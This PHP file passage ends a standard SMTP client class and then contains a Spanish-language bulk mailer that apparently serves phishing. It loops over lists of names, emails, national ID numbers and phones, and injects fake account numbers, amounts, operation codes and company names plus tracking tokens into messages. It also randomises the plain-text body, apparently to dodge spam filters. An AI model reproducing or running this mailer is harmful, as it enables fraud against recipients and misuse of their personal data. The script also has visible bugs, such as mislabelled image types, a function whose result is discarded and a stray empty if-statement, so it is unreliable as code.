4707 $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
4708
4709 if (!$this->sendCommand(
4710 'AUTH NTLM',
4711 'AUTH NTLM ' . base64_encode($msg1),
4712 334
4713 )
4714 ) {
4715 return false;
4716 }
4717 //Though 0 based, there is a white space after the 3 digit number
4718 //msg2
4719 $challenge = substr($this->last_reply, 3);
4720 $challenge = base64_decode($challenge);
4721 $ntlm_res = $ntlm_client->NTLMResponse(
4722 substr($challenge, 24, 8),
4723 $password
4724 );
4725 //msg3
4726 $msg3 = $ntlm_client->TypeMsg3(
4727 $ntlm_res,
4728 $username,
4729 $realm,
4730 $workstation
4731 );
4732 // send encoded username
4733 return $this->sendCommand('Username', base64_encode($msg3), 235);
4734 case 'CRAM-MD5':
4735 // Start authentication
4736 if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
4737 return false;
4738 }
4739 // Get the challenge
4740 $challenge = base64_decode(substr($this->last_reply, 4));
4741
4742 // Build the response
4743 $response = $username . ' ' . $this->hmac($challenge, $password);
4744
4745 // send encoded credentials
4746 return $this->sendCommand('Username', base64_encode($response), 235);
4747 default:
4748 $this->setError("Authentication method \"$authtype\" is not supported");
4749 return false;
4750 }
4751 return true;
4752 }
4753
4754 /**
4755 * Calculate an MD5 HMAC hash.
4756 * Works like hash_hmac('md5', $data, $key)
4757 * in case that function is not available
4758 * @param string $data The data to hash
4759 * @param string $key The key to hash with
4760 * @access protected
4761 * @return string
4762 */
4763 protected function hmac($data, $key)
4764 {
4765 if (function_exists('hash_hmac')) {
4766 return hash_hmac('md5', $data, $key);
4767 }
4768
4769 // The following borrowed from
4770 // http://php.net/manual/en/function.mhash.php#27225
4771
4772 // RFC 2104 HMAC implementation for php.
4773 // Creates an md5 HMAC.
4774 // Eliminates the need to install mhash to compute a HMAC
4775 // by Lance Rushing
4776
4777 $bytelen = 64; // byte length for md5
4778 if (strlen($key) > $bytelen) {
4779 $key = pack('H*', md5($key));
4780 }
4781 $key = str_pad($key, $bytelen, chr(0x00));
4782 $ipad = str_pad('', $bytelen, chr(0x36));
4783 $opad = str_pad('', $bytelen, chr(0x5c));
4784 $k_ipad = $key ^ $ipad;
4785 $k_opad = $key ^ $opad;
4786
4787 return md5($k_opad . pack('H*', md5($k_ipad . $data)));
4788 }
4789
4790 /**
4791 * Check connection state.
4792 * @access public
4793 * @return boolean True if connected.
4794 */
4795 public function connected()
4796 {
4797 if (is_resource($this->smtp_conn)) {
4798 $sock_status = stream_get_meta_data($this->smtp_conn);
4799 if ($sock_status['eof']) {
4800 // The socket is valid but we are not connected
4801 $this->edebug(
4802 'SMTP NOTICE: EOF caught while checking if connected',
4803 self::DEBUG_CLIENT
4804 );
4805 $this->close();
4806 return false;
4807 }
4808 return true; // everything looks good
4809 }
4810 return false;
4811 }
4812
4813 /**
4814 * Close the socket and clean up the state of the class.
4815 * Don't use this function without first trying to use QUIT.
4816 * @see quit()
4817 * @access public
4818 * @return void
4819 */
4820 public function close()
4821 {
4822 $this->setError('');
4823 $this->server_caps = null;
4824 $this->helo_rply = null;
4825 if (is_resource($this->smtp_conn)) {
4826 // close the connection and cleanup
4827 fclose($this->smtp_conn);
4828 $this->smtp_conn = null; //Makes for cleaner serialization
4829 $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
4830 }
4831 }
4832
4833 /**
4834 * Send an SMTP DATA command.
4835 * Issues a data command and sends the msg_data to the server,
4836 * finializing the mail transaction. $msg_data is the message
4837 * that is to be send with the headers. Each header needs to be
4838 * on a single line followed by a <CRLF> with the message headers
4839 * and the message body being separated by and additional <CRLF>.
4840 * Implements rfc 821: DATA <CRLF>
4841 * @param string $msg_data Message data to send
4842 * @access public
4843 * @return boolean
4844 */
4845 public function data($msg_data)
4846 {
4847 //This will use the standard timelimit
4848 if (!$this->sendCommand('DATA', 'DATA', 354)) {
4849 return false;
4850 }
4851
4852 /* The server is ready to accept data!
4853 * According to rfc821 we should not send more than 1000 characters on a single line (including the CRLF)
4854 * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into
4855 * smaller lines to fit within the limit.
4856 * We will also look for lines that start with a '.' and prepend an additional '.'.
4857 * NOTE: this does not count towards line-length limit.
4858 */
4859
4860 // Normalize line breaks before exploding
4861 $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
4862
4863 /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field
4864 * of the first line (':' separated) does not contain a space then it _should_ be a header and we will
4865 * process all lines before a blank line as headers.
4866 */
4867
4868 $field = substr($lines[0], 0, strpos($lines[0], ':'));
4869 $in_headers = false;
4870 if (!empty($field) && strpos($field, ' ') === false) {
4871 $in_headers = true;
4872 }
4873
4874 foreach ($lines as $line) {
4875 $lines_out = array();
4876 if ($in_headers and $line == '') {
4877 $in_headers = false;
4878 }
4879 //Break this line up into several smaller lines if it's too long
4880 //Micro-optimisation: isset($str[$len]) is faster than (strlen($str) > $len),
4881 while (isset($line[self::MAX_LINE_LENGTH])) {
4882 //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on
4883 //so as to avoid breaking in the middle of a word
4884 $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
4885 //Deliberately matches both false and 0
4886 if (!$pos) {
4887 //No nice break found, add a hard break
4888 $pos = self::MAX_LINE_LENGTH - 1;
4889 $lines_out[] = substr($line, 0, $pos);
4890 $line = substr($line, $pos);
4891 } else {
4892 //Break at the found point
4893 $lines_out[] = substr($line, 0, $pos);
4894 //Move along by the amount we dealt with
4895 $line = substr($line, $pos + 1);
4896 }
4897 //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1
4898 if ($in_headers) {
4899 $line = "\t" . $line;
4900 }
4901 }
4902 $lines_out[] = $line;
4903
4904 //Send the lines to the server
4905 foreach ($lines_out as $line_out) {
4906 //RFC2821 section 4.5.2
4907 if (!empty($line_out) and $line_out[0] == '.') {
4908 $line_out = '.' . $line_out;
4909 }
4910 $this->client_send($line_out . self::CRLF);
4911 }
4912 }
4913
4914 //Message data has been sent, complete the command
4915 //Increase timelimit for end of DATA command
4916 $savetimelimit = $this->Timelimit;
4917 $this->Timelimit = $this->Timelimit * 2;
4918 $result = $this->sendCommand('DATA END', '.', 250);
4919 //Restore timelimit
4920 $this->Timelimit = $savetimelimit;
4921 return $result;
4922 }
4923
4924 /**
4925 * Send an SMTP HELO or EHLO command.
4926 * Used to identify the sending server to the receiving server.
4927 * This makes sure that client and server are in a known state.
4928 * Implements RFC 821: HELO <SP> <domain> <CRLF>
4929 * and RFC 2821 EHLO.
4930 * @param string $host The host name or IP to connect to
4931 * @access public
4932 * @return boolean
4933 */
4934 public function hello($host = '')
4935 {
4936 //Try extended hello first (RFC 2821)
4937 return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
4938 }
4939
4940 /**
4941 * Send an SMTP HELO or EHLO command.
4942 * Low-level implementation used by hello()
4943 * @see hello()
4944 * @param string $hello The HELO string
4945 * @param string $host The hostname to say we are
4946 * @access protected
4947 * @return boolean
4948 */
4949 protected function sendHello($hello, $host)
4950 {
4951 $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
4952 $this->helo_rply = $this->last_reply;
4953 if ($noerror) {
4954 $this->parseHelloFields($hello);
4955 } else {
4956 $this->server_caps = null;
4957 }
4958 return $noerror;
4959 }
4960
4961 /**
4962 * Parse a reply to HELO/EHLO command to discover server extensions.
4963 * In case of HELO, the only parameter that can be discovered is a server name.
4964 * @access protected
4965 * @param string $type - 'HELO' or 'EHLO'
4966 */
4967 protected function parseHelloFields($type)
4968 {
4969 $this->server_caps = array();
4970 $lines = explode("\n", $this->last_reply);
4971
4972 foreach ($lines as $n => $s) {
4973 //First 4 chars contain response code followed by - or space
4974 $s = trim(substr($s, 4));
4975 if (empty($s)) {
4976 continue;
4977 }
4978 $fields = explode(' ', $s);
4979 if (!empty($fields)) {
4980 if (!$n) {
4981 $name = $type;
4982 $fields = $fields[0];
4983 } else {
4984 $name = array_shift($fields);
4985 switch ($name) {
4986 case 'SIZE':
4987 $fields = ($fields ? $fields[0] : 0);
4988 break;
4989 case 'AUTH':
4990 if (!is_array($fields)) {
4991 $fields = array();
4992 }
4993 break;
4994 default:
4995 $fields = true;
4996 }
4997 }
4998 $this->server_caps[$name] = $fields;
4999 }
5000 }
5001 }
5002
5003 /**
5004 * Send an SMTP MAIL command.
5005 * Starts a mail transaction from the email address specified in
5006 * $from. Returns true if successful or false otherwise. If True
5007 * the mail transaction is started and then one or more recipient
5008 * commands may be called followed by a data command.
5009 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
5010 * @param string $from Source address of this message
5011 * @access public
5012 * @return boolean
5013 */
5014 public function mail($from)
5015 {
5016 $useVerp = ($this->do_verp ? ' XVERP' : '');
5017 return $this->sendCommand(
5018 'MAIL FROM',
5019 'MAIL FROM:<' . $from . '>' . $useVerp,
5020 250
5021 );
5022 }
5023
5024 /**
5025 * Send an SMTP QUIT command.
5026 * Closes the socket if there is no error or the $close_on_error argument is true.
5027 * Implements from rfc 821: QUIT <CRLF>
5028 * @param boolean $close_on_error Should the connection close if an error occurs?
5029 * @access public
5030 * @return boolean
5031 */
5032 public function quit($close_on_error = true)
5033 {
5034 $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
5035 $err = $this->error; //Save any error
5036 if ($noerror or $close_on_error) {
5037 $this->close();
5038 $this->error = $err; //Restore any error from the quit command
5039 }
5040 return $noerror;
5041 }
5042
5043 /**
5044 * Send an SMTP RCPT command.
5045 * Sets the TO argument to $toaddr.
5046 * Returns true if the recipient was accepted false if it was rejected.
5047 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
5048 * @param string $address The address the message is being sent to
5049 * @access public
5050 * @return boolean
5051 */
5052 public function recipient($address)
5053 {
5054 return $this->sendCommand(
5055 'RCPT TO',
5056 'RCPT TO:<' . $address . '>',
5057 array(250, 251)
5058 );
5059 }
5060
5061 /**
5062 * Send an SMTP RSET command.
5063 * Abort any transaction that is currently in progress.
5064 * Implements rfc 821: RSET <CRLF>
5065 * @access public
5066 * @return boolean True on success.
5067 */
5068 public function reset()
5069 {
5070 return $this->sendCommand('RSET', 'RSET', 250);
5071 }
5072
5073 /**
5074 * Send a command to an SMTP server and check its return code.
5075 * @param string $command The command name - not sent to the server
5076 * @param string $commandstring The actual command to send
5077 * @param integer|array $expect One or more expected integer success codes
5078 * @access protected
5079 * @return boolean True on success.
5080 */
5081 protected function sendCommand($command, $commandstring, $expect)
5082 {
5083 if (!$this->connected()) {
5084 $this->setError("Called $command without being connected");
5085 return false;
5086 }
5087 //Reject line breaks in all commands
5088 if (strpos($commandstring, "\n") !== false or strpos($commandstring, "\r") !== false) {
5089 $this->setError("Command '$command' contained line breaks");
5090 return false;
5091 }
5092 $this->client_send($commandstring . self::CRLF);
5093
5094 $this->last_reply = $this->get_lines();
5095 // Fetch SMTP code and possible error code explanation
5096 $matches = array();
5097 if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
5098 $code = $matches[1];
5099 $code_ex = (count($matches) > 2 ? $matches[2] : null);
5100 // Cut off error code from each response line
5101 $detail = preg_replace(
5102 "/{$code}[ -]".($code_ex ? str_replace('.', '\\.', $code_ex).' ' : '')."/m",
5103 '',
5104 $this->last_reply
5105 );
5106 } else {
5107 // Fall back to simple parsing if regex fails
5108 $code = substr($this->last_reply, 0, 3);
5109 $code_ex = null;
5110 $detail = substr($this->last_reply, 4);
5111 }
5112
5113 $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
5114
5115 if (!in_array($code, (array)$expect)) {
5116 $this->setError(
5117 "$command command failed",
5118 $detail,
5119 $code,
5120 $code_ex
5121 );
5122 $this->edebug(
5123 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
5124 self::DEBUG_CLIENT
5125 );
5126 return false;
5127 }
5128
5129 $this->setError('');
5130 return true;
5131 }
5132
5133 /**
5134 * Send an SMTP SAML command.
5135 * Starts a mail transaction from the email address specified in $from.
5136 * Returns true if successful or false otherwise. If True
5137 * the mail transaction is started and then one or more recipient
5138 * commands may be called followed by a data command. This command
5139 * will send the message to the users terminal if they are logged
5140 * in and send them an email.
5141 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
5142 * @param string $from The address the message is from
5143 * @access public
5144 * @return boolean
5145 */
5146 public function sendAndMail($from)
5147 {
5148 return $this->sendCommand('SAML', "SAML FROM:$from", 250);
5149 }
5150
5151 /**
5152 * Send an SMTP VRFY command.
5153 * @param string $name The name to verify
5154 * @access public
5155 * @return boolean
5156 */
5157 public function verify($name)
5158 {
5159 return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
5160 }
5161
5162 /**
5163 * Send an SMTP NOOP command.
5164 * Used to keep keep-alives alive, doesn't actually do anything
5165 * @access public
5166 * @return boolean
5167 */
5168 public function noop()
5169 {
5170 return $this->sendCommand('NOOP', 'NOOP', 250);
5171 }
5172
5173 /**
5174 * Send an SMTP TURN command.
5175 * This is an optional command for SMTP that this class does not support.
5176 * This method is here to make the RFC821 Definition complete for this class
5177 * and _may_ be implemented in future
5178 * Implements from rfc 821: TURN <CRLF>
5179 * @access public
5180 * @return boolean
5181 */
5182 public function turn()
5183 {
5184 $this->setError('The SMTP TURN command is not implemented');
5185 $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
5186 return false;
5187 }
5188
5189 /**
5190 * Send raw data to the server.
5191 * @param string $data The data to send
5192 * @access public
5193 * @return integer|boolean The number of bytes sent to the server or false on error
5194 */
5195 public function client_send($data)
5196 {
5197 $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
5198 return fwrite($this->smtp_conn, $data);
5199 }
5200
5201 /**
5202 * Get the latest error.
5203 * @access public
5204 * @return array
5205 */
5206 public function getError()
5207 {
5208 return $this->error;
5209 }
5210
5211 /**
5212 * Get SMTP extensions available on the server
5213 * @access public
5214 * @return array|null
5215 */
5216 public function getServerExtList()
5217 {
5218 return $this->server_caps;
5219 }
5220
5221 /**
5222 * A multipurpose method
5223 * The method works in three ways, dependent on argument value and current state
5224 * 1. HELO/EHLO was not sent - returns null and set up $this->error
5225 * 2. HELO was sent
5226 * $name = 'HELO': returns server name
5227 * $name = 'EHLO': returns boolean false
5228 * $name = any string: returns null and set up $this->error
5229 * 3. EHLO was sent
5230 * $name = 'HELO'|'EHLO': returns server name
5231 * $name = any string: if extension $name exists, returns boolean True
5232 * or its options. Otherwise returns boolean False
5233 * In other words, one can use this method to detect 3 conditions:
5234 * - null returned: handshake was not or we don't know about ext (refer to $this->error)
5235 * - false returned: the requested feature exactly not exists
5236 * - positive value returned: the requested feature exists
5237 * @param string $name Name of SMTP extension or 'HELO'|'EHLO'
5238 * @return mixed
5239 */
5240 public function getServerExt($name)
5241 {
5242 if (!$this->server_caps) {
5243 $this->setError('No HELO/EHLO was sent');
5244 return null;
5245 }
5246
5247 // the tight logic knot ;)
5248 if (!array_key_exists($name, $this->server_caps)) {
5249 if ($name == 'HELO') {
5250 return $this->server_caps['EHLO'];
5251 }
5252 if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
5253 return false;
5254 }
5255 $this->setError('HELO handshake was used. Client knows nothing about server extensions');
5256 return null;
5257 }
5258
5259 return $this->server_caps[$name];
5260 }
5261
5262 /**
5263 * Get the last reply from the server.
5264 * @access public
5265 * @return string
5266 */
5267 public function getLastReply()
5268 {
5269 return $this->last_reply;
5270 }
5271
5272 /**
5273 * Read the SMTP server's response.
5274 * Either before eof or socket timeout occurs on the operation.
5275 * With SMTP we can tell if we have more lines to read if the
5276 * 4th character is '-' symbol. If it is a space then we don't
5277 * need to read anything else.
5278 * @access protected
5279 * @return string
5280 */
5281 protected function get_lines()
5282 {
5283 // If the connection is bad, give up straight away
5284 if (!is_resource($this->smtp_conn)) {
5285 return '';
5286 }
5287 $data = '';
5288 $endtime = 0;
5289 stream_set_timeout($this->smtp_conn, $this->Timeout);
5290 if ($this->Timelimit > 0) {
5291 $endtime = time() + $this->Timelimit;
5292 }
5293 while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
5294 $str = @fgets($this->smtp_conn, 515);
5295 $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
5296 $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
5297 $data .= $str;
5298 // If 4th character is a space, we are done reading, break the loop, micro-optimisation over strlen
5299 if ((isset($str[3]) and $str[3] == ' ')) {
5300 break;
5301 }
5302 // Timed-out? Log and break
5303 $info = stream_get_meta_data($this->smtp_conn);
5304 if ($info['timed_out']) {
5305 $this->edebug(
5306 'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
5307 self::DEBUG_LOWLEVEL
5308 );
5309 break;
5310 }
5311 // Now check if reads took too long
5312 if ($endtime and time() > $endtime) {
5313 $this->edebug(
5314 'SMTP -> get_lines(): timelimit reached ('.
5315 $this->Timelimit . ' sec)',
5316 self::DEBUG_LOWLEVEL
5317 );
5318 break;
5319 }
5320 }
5321 return $data;
5322 }
5323
5324 /**
5325 * Enable or disable VERP address generation.
5326 * @param boolean $enabled
5327 */
5328 public function setVerp($enabled = false)
5329 {
5330 $this->do_verp = $enabled;
5331 }
5332
5333 /**
5334 * Get VERP address generation mode.
5335 * @return boolean
5336 */
5337 public function getVerp()
5338 {
5339 return $this->do_verp;
5340 }
5341
5342 /**
5343 * Set error messages and codes.
5344 * @param string $message The error message
5345 * @param string $detail Further detail on the error
5346 * @param string $smtp_code An associated SMTP error code
5347 * @param string $smtp_code_ex Extended SMTP code
5348 */
5349 protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '')
5350 {
5351 $this->error = array(
5352 'error' => $message,
5353 'detail' => $detail,
5354 'smtp_code' => $smtp_code,
5355 'smtp_code_ex' => $smtp_code_ex
5356 );
5357 }
5358
5359 /**
5360 * Set debug output method.
5361 * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it.
5362 */
5363 public function setDebugOutput($method = 'echo')
5364 {
5365 $this->Debugoutput = $method;
5366 }
5367
5368 /**
5369 * Get debug output method.
5370 * @return string
5371 */
5372 public function getDebugOutput()
5373 {
5374 return $this->Debugoutput;
5375 }
5376
5377 /**
5378 * Set debug output level.
5379 * @param integer $level
5380 */
5381 public function setDebugLevel($level = 0)
5382 {
5383 $this->do_debug = $level;
5384 }
5385
5386 /**
5387 * Get debug output level.
5388 * @return integer
5389 */
5390 public function getDebugLevel()
5391 {
5392 return $this->do_debug;
5393 }
5394
5395 /**
5396 * Set SMTP timeout.
5397 * @param integer $timeout
5398 */
5399 public function setTimeout($timeout = 0)
5400 {
5401 $this->Timeout = $timeout;
5402 }
5403
5404 /**
5405 * Get SMTP timeout.
5406 * @return integer
5407 */
5408 public function getTimeout()
5409 {
5410 return $this->Timeout;
5411 }
5412}
5413function embed_images(&$body, $mailer) {
5414 // get all img tags
5415 preg_match_all('/<img[^>]*src="([^"]*)"/i', $body, $matches);
5416
5417 if (!isset($matches[0]))
5418 return;
5419
5420 foreach ($matches[0] as $index => $img) {
5421 $src = $matches[1][$index];
5422
5423 if (preg_match("/\.jpg/", $src)) {
5424 $dataType = "image/jpg";
5425 } elseif (preg_match("/\.png/", $src)) {
5426 $dataType = "image/jpg";
5427 } elseif (preg_match("/\.gif/", $src)) {
5428 $dataType = "image/gif";
5429 } else {
5430 // use the oldfashion way
5431 $id = 'img' . $index;
5432 $mailer->AddEmbeddedImage($src, $id);
5433 $body = str_replace($src, 'cid:' . $id, $body);
5434 }
5435
5436 if($dataType) {
5437 $urlContent = file_get_contents($src);
5438 $body = str_replace($src, 'data:'. $dataType .';base64,' . base64_encode($urlContent), $body);
5439 }
5440 }
5441}
5442 for($x=0; $x<$numemails; $x++){
5443 $parto = explode(",", $allemails[$x]);
5444
5445 $nombre = (isset($parto[0])) ? $parto[0] : NULL;
5446 $to = (isset($parto[1])) ? $parto[1] : NULL;
5447 $cedula = (isset($parto[2])) ? $parto[2] : NULL;
5448 $celular = (isset($parto[3])) ? $parto[3] : NULL;
5449
5450
5451 $realname_ = (strpos($realname, "{NOMBRE}")) ? strtoupper($nombre) : $realname;
5452 $subject_ = (strpos($subject , "{NOMBRE}")) ? preg_replace("/{NOMBRE}/", strtoupper($nombre), $subject) : $subject;
5453 $NombreArra = explode(chr(32),$nombre);
5454 if ($to) {
5455
5456 $to = preg_replace("/ /", "", $to);
5457
5458 $search = array(
5459 '/{EMAIL}/is',
5460 '/{NOMBRE}/is',
5461 '/{TRACKING}/is',
5462 '/{ANTIPISHIN}/is',
5463 '/{CELULAR}/is',
5464 '/{CEDULA}/is',
5465 '/{RANDONTITULAR}/is',
5466 '/{FECHA}/is',
5467 '/{HORA}/is',
5468 '/{RANDONOPERACION}/is',
5469 '/{RANDONEMPRESA}/is',
5470 '/{RANDONCODIGO}/is',
5471 '/{RANDONMONTO}/is',
5472 '/{RANDONCUENTA}/is',
5473 '/{ANTIPISHINESPECIAL}/is'
5474 );
5475
5476 $replace = array(
5477 $to,
5478 strtoupper($nombre),
5479 encrypt(trim($to),$portdefauld),
5480 md5($to),
5481 $celular,
5482 $cedula,
5483 nombre(),
5484 date("d/m/Y"),
5485 date("H:i:s",time()),
5486 randon(7,'N'),
5487 nombre('C'),
5488 randon(8,'N'),
5489 randon(2,'N'),
5490 randon(3,'N')."-".randon(9,'N')."-".randon(1,'N')."-".randon(2,'N'),
5491 Random::AlphaNumeric(31)
5492 );
5493
5494 $Fmessage = preg_replace ($search, $replace, $message);
5495
5496 if(isset($parto[1])){$nombre = " Con el Nombre de => ".$parto[0];}
5497 $qx=$x+1;
5498
5499 $mail = new PHPMailer();
5500
5501
5502 if($tema == 'on'){
5503 if( (!empty($smtp_username)) or (!empty($smtp_password)) or (!empty($my_smtp)) or (!empty($sslclick))){
5504
5505
5506
5507 /*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
5508 $mail->IsSMTP();
5509 $mail->Host = $my_smtp;
5510 switch ($debugeo) {
5511 case '0':
5512 $mail->SMTPDebug = 0;
5513 break;
5514 case '1':
5515 $mail->SMTPDebug = 1;
5516 break;
5517 case '2':
5518 $mail->SMTPDebug = 2;
5519 break;
5520 }
5521 $mail->SMTPAuth = true;
5522 $mail->SMTPSecure = ($sslclick == 'ON') ? 'ssl' : 'tls';
5523 $mail->Port = ($ssl_port == 'NULL') ? 25 : $ssl_port;
5524 $mail->Username = $smtp_username;
5525 $mail->Password = $smtp_password;
5526 /*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
5527
5528 }
5529 }
5530
5531
5532
5533
5534
5535
5536 $mail->From = $from;
5537 $mail->FromName = $realname_;
5538
5539
5540 switch ($epriority) {
5541 case 'NULL':
5542 $mail->Priority = 1;
5543 break;
5544 case '1':
5545 $mail->Priority = 1;
5546 break;
5547 case '3':
5548 $mail->Priority = 3;
5549 break;
5550 case '5':
5551 $mail->Priority = 5;
5552 break;
5553 }
5554 switch ($CharSet) {
5555 case 'NULL':
5556 $mail->CharSet = 'iso-8859-1';
5557 break;
5558 case '1':
5559 $mail->CharSet = 'iso-8859-1';
5560 break;
5561 case '2':
5562 $mail->CharSet = 'utf-8';
5563 break;
5564 }
5565 switch ($Encoding) {
5566 case 'NULL':
5567 $mail->Encoding = '8bit';
5568 break;
5569 case '1':
5570 $mail->Encoding = '8bit';
5571 break;
5572 case '2':
5573 $mail->Encoding = '7bit';
5574 break;
5575 case '3':
5576 $mail->Encoding = 'binary';
5577 break;
5578 case '4':
5579 $mail->Encoding = 'base64';
5580 break;
5581 case '5':
5582 $mail->Encoding = 'quoted-printable';
5583 break;
5584 }
5585 switch ($contenttype) {
5586 case 'NULL':
5587 $mail->CharSet = 'text/html';
5588 break;
5589 case '1':
5590 $mail->CharSet = 'text/html';
5591 break;
5592 case '2':
5593 $mail->CharSet = 'text/plain';
5594 break;
5595 }
5596
5597 $optout = "@".randon(10,'N').".com";
5598 //$mail->addCustomHeader('Precedence', 'bulk');
5599 //$mail->addCustomHeader('List-id', randon(16,'N'));
5600 //$mail->addCustomHeader('List-Unsubscribe', '<mailto:' . md5($to) . $optout . '>');
5601 $mail->addReplyTo($replyto, 'Respuesta de '.$NombreArra[0]." ".$NombreArra[1]);
5602 $mail->addAddress(trim($to), $NombreArra[0]." ".$NombreArra[1]);
5603 $mail->Subject = $subject_;
5604
5605 if($_GET['emb']=="ok"){
5606 $Fmessagea = embed_images($Fmessage, $mail);
5607 }else{
5608 $Fmessagea = $Fmessage;
5609 }
5610 $mail->msgHTML($Fmessagea);
5611 $mail->AltBody = randon(10,'N')."-".randon(10,'N')."-".randon(10,'N')."-".randon(10,'N');
5612 if(!$mail->Send()){
5613 echo 'Message was not sent.';
5614 echo 'Mailer error: ' . $mail->ErrorInfo;
5615 } else {
5616 echo $qx." enviado al correo ".$to.$nombre."<br />";
5617 flush();
5618 }
5619
5620
5621 }
5622 }
5623 if(isset($_POST['action']) && $numemails !=0 );{}
5624 }
5625?>